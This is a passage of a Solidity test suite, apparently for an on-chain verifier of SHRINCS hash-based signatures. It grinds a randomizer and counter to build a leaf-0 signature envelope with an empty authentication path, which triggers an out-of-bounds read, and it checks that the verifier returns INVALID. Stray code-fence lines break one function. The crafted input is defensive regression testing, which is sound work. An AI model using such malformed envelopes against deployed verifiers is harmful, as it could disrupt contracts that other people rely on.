    ) = abi.decode(sigLeaf1A, (SHRINCS.PublicKey, SHRINCS.Signature));
    sig.authPath = new bytes32[](0);
    bytes memory leafZero = SHRINCS.encodeStatefulEnvelope(pk, sig);
    assertEq(
        verifier.verify(validKey, hashA, leafZero),
        INVALID,
        "unground leaf-0 claim must return 0xffffffff"
    );
}

/// Build a well-formed leaf-0 envelope that passes every guard up to
/// the tree walk: real key bundle (commitment and shape checks pass),
/// empty authPath (leafIndex 0), and a (randomizer, counter) pair
/// ground until the leaf-0 WOTS-C digest hits the target sum. The chain
/// values are arbitrary: nothing compares them before the authPath[0]
/// read panics.
function _craftLeafZeroEnvelope(bytes32 hash)
    internal
    view
    returns (bytes memory envelope, uint32 counter)
{
    bytes32 randomizer = keccak256("leaf zero issue randomizer");
    bytes memory message = abi.encodePacked(hash);
    bytes32 pkSeed = signingKey.statefulPkSeed;
    uint256 chainCount = uint256(SHRINCSParams.WOTS_CHAINS_STATEFUL);
    bytes32[] memory chains = new bytes32[](chainCount);
    for (uint256 i = 0; i < chainCount; ++i) {
        chains[i] = bytes32(i + 1);
    }
    for (uint32 c = 0; c < (1 << 24); ++c) {
        bytes32 digest = HashSuite.uxmssWotsDigits32(
            pkSeed, 0, randomizer, c, message
        );
        uint32 sum;
        for (uint256 i = 0; i < chainCount; ++i) {
            sum += WOTSPplusC.baseW16Digit32(digest, i);
        }
        if (sum == SHRINCSParams.WOTS_TARGET_SUM_STATEFUL) {
            SHRINCS.Signature memory sig = SHRINCS.Signature({

```

```

        randomizer: randomizer,
        counter: c,
        chains: chains,
        authPath: new bytes32[](0)
    });
    return (SHRINCS.encodeStatefulEnvelope(publicKey, sig), c);
}
}
revert("leaf-zero grind exhausted");
}

function _commitmentWord(SHRINCS.PublicKey memory pk)
    internal
    pure
    returns (bytes32 word)
{
    bytes memory encoded = pk.publicKeyCommitment;
    assembly {
        word := mload(add(encoded, 32))
    }
}
}

```